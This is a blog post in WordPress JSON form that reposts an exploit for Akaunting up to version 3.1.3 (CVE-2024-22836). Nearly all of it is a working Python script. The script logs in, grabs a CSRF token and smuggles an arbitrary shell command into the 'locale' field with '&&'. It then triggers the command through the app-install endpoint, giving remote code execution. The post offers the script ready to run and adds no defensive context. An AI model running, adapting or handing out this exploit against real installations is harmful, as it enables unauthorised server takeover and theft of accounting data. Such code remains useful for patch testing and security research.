# Exploit Title: Akaunting < 3.1.3 – RCE
\n# Date: 08\/02\/2024
\n# Exploit Author: u32i@proton.me
\n# Vendor Homepage: https:\/\/akaunting.com
\n# Software Link: https:\/\/github.com\/akaunting\/akaunting
\n# Version: <= 3.1.3
\n# Tested on: Ubuntu (22.04)
\n# CVE : CVE-2024-22836<\/p>\n
#!\/usr\/bin\/python3<\/p>\n
import sys
\nimport re
\nimport requests
\nimport argparse<\/p>\n
def get_company():
\n# print(“[INF] Retrieving company id…”)
\nres = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
\nif res.status_code != 302:
\nprint(“[ERR] No company id was found!”)
\nsys.exit(3)
\ncid = res.headers[‘Location’].split(‘\/’)[-1]\nif cid == “login”:
\nprint(“[ERR] Invalid session cookie!”)
\nsys.exit(7)
\nreturn cid<\/p>\n
def get_tokens(url):
\nres = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
\nsearch_res = re.search(r”\\”csrfToken\\”\\:\\”.*\\””, res.text)<\/p>\n
if not search_res:
\nprint(“[ERR] Couldn’t get csrf token”)
\nsys.exit(1)<\/p>\n
data = {}
\ndata[‘csrf_token’] = search_res.group().split(‘:’)[-1:][0].replace(‘”‘, ”)
\ndata[‘session’] = res.cookies.get(‘akaunting_session’)
\nreturn data<\/p>\n
def inject_command(cmd):
\nurl = f”{target}\/{company_id}\/wizard\/companies”
\ntokens = get_tokens(url)
\nheaders.update({“X-Csrf-Token”: tokens[‘csrf_token’]})
\ndata = {“_token”: tokens[‘csrf_token’], “_method”: “POST”, “_prefix”: “company”, “locale”: f”en_US && {cmd}”}
\nres = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
\nif res.status_code == 200:
\nres_data = res.json()
\nif res_data[‘error’]:
\nprint(“[ERR] Command injection failed!”)
\nsys.exit(4)
\nprint(“[INF] Command injected!”)<\/p>\n
def trigger_rce(app, version = “1.0.0”):
\nprint(“[INF] Executing the command…”)
\nurl = f”{target}\/{company_id}\/apps\/install”
\ndata = {“alias”: app, “version”: version, “path”: f”apps\/{app}\/download”}
\nheaders.update({“Content-Type”:”application\/json”})
\nres = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
\nif res.status_code == 200:
\nres_data = res.json()
\nif res_data[‘error’]:
\nsearch_res = re.search(r”>Exit Code\\:.*<“, res_data[‘message’])
\nif search_res:
\nprint(“[ERR] Failed to execute the command”)
\nsys.exit(6)
\nprint(“[ERR] Failed to install the app! no command was executed!”)
\nsys.exit(5)
\nprint(“[INF] Executed successfully!”)<\/p>\n
def login(email, password):
\nurl = f”{target}\/auth\/login”
\ntokens = get_tokens(url)<\/p>\n
cookies.update({
\n‘akaunting_session’: tokens[‘session’]\n})<\/p>\n
data = {
\n“_token”: tokens[‘csrf_token’],
\n“_method”: “POST”,
\n“email”: email,
\n“password”: password
\n}<\/p>\n
req = requests.post(url, headers=headers, cookies=cookies, data=data)
\nres = req.json()
\nif res[‘error’]:
\nprint(“[ERR] Failed to log in!”)
\nsys.exit(8)<\/p>\n
print(“[INF] Logged in”)
\ncookies.update({‘akaunting_session’: req.cookies.get(‘akaunting_session’)})<\/p>\n
def main():
\ninject_command(args.command)
\ntrigger_rce(args.alias, args.version)<\/p>\n
if __name__==’__main__’:
\nparser = argparse.ArgumentParser()
\nparser.add_argument(“-u”, “–url”, help=”target url”)
\nparser.add_argument(“–email”, help=”user login email.”)
\nparser.add_argument(“–password”, help=”user login password.”)
\nparser.add_argument(“-i”, “–id”, type=int, help=”company id (optional).”)
\nparser.add_argument(“-c”, “–command”, help=”command to execute.”)
\nparser.add_argument(“-a”, “–alias”, help=”app alias, default: paypal-standard”, default=”paypal-standard”)
\nparser.add_argument(“-av”, “–version”, help=”app version, default: 3.0.2″, default=”3.0.2″)<\/p>\n
args = parser.parse_args()<\/p>\n
headers = {“User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.5195.102 Safari\/537.36”}
\ncookies = {}
\ntarget = args.url<\/p>\n
try:
\nlogin(args.email, args.password)
\ncompany_id = get_company() if not args.id else args.id
\nmain()
\nexcept:
\nsys.exit(0)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Akaunting < 3.1.3 – RCE # Date: 08\/02\/2024 # Exploit Author: u32i@proton.me # Vendor Homepage: https:\/\/akaunting.com # Software Link: https:\/\/github.com\/akaunting\/akaunting # Version: <= 3.1.3 # Tested on: Ubuntu (22.04) # CVE : CVE-2024-22836 #!\/usr\/bin\/python3 import sys import re import requests import argparse def get_company(): # print(“[INF] Retrieving company id…”) res = requests.get(target, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55293","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55293"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293\/revisions"}],"predecessor-version":[{"id":55299,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293\/revisions\/55299"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}